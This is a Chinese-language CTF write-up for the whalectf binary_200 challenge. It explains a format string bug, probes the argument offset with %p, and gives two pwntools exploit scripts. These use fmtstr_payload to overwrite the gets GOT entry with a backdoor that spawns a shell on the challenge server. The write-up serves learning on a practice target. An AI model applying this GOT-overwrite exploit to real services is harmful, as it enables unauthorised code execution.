今天学习了一手格式化字符串,这个漏洞危害真的大~~
可以改覆写地址上所指向的值还可以泄露地址上的值这个真的太强了我们直接泄露一个libc函数的真实地址然后匹配libc找到基址偏移没有防护就什么都成了…
归正题我做了whalectf的binary_200练手
我们得到程序发现有用的信息如下
32位有nx,Canary found
ida打开
有一个后门函数
int canary_protect_me()
{
return system("/bin/sh");
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+14h] [ebp-2Ch]
unsigned int v5; // [esp+3Ch] [ebp-4h]
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
gets(&s);
printf(&s);
gets(&s);
return 0;
}
有溢出但有Canary如果你够强似乎可以去泄露Canary然后溢出但我这里就不用的因为阅读程序可知这个程序有格式化字符串漏洞printf(&s);
我们先猜测偏移
AAAA%p %p %p %p %p %p %p %p %p %p %p %p %P
AAAA(nil) 0x1 (nil) 0xf7f433fc 0x41414141 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 %P
这是我尝试的发现格式化字符串的偏移为5然后我们继续阅读程序
发现程序继续让我们输入调用了get()函数
.text:080485D3 call _printf
.text:080485D8 ; 10: gets(&s);
.text:080485D8 lea eax, [esp+40h+s]
.text:080485DC mov [esp], eax ; s
.text:080485DF call _gets
.text:080485E4 mov eax, 0
.text:080485E9 mov edx, [esp+3Ch]
.text:080485ED xor edx, large gs:14h
.text:080485F4 jz short locret_8
找到这个函数的got地址我们就可以利用这个函数将其got表地址对应的函数改成后门函数从而getshell
直接上我的exp:
from pwn import *
#p=process('../binary_200')
p=remote('bamboofox.cs.nctu.edu.tw',22002)
elf=ELF('../binary_200')
system_addr=0x0804854D
gets_got=elf.got['gets']
offset=5
payload=fmtstr_payload(offset,{gets_got:system_addr})
p.sendline(payload)
p.interactive()
emem这里还有大佬的exp我想记录一下pwntool的工具
from pwn import *
addr_gets = 0x804a010
addr_protect_me = 0x804854d
#这个方法我有点不懂但应该是pwntool自带的工具用来算出偏移 ??
def exec_fmt(payload):
# p = remote("bamboofox.cs.nctu.edu.tw", 22002)
p = process("./pwn200")
p.sendline(payload)
return p.recv(4096)
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
# offset = 5
#这个后面的和我一样.....
payload = fmtstr_payload(offset, {addr_gets: addr_protect_me})
r = remote("bamboofox.cs.nctu.edu.tw", 22002)
r.sendline(payload)
r.interactive()
emempwn好难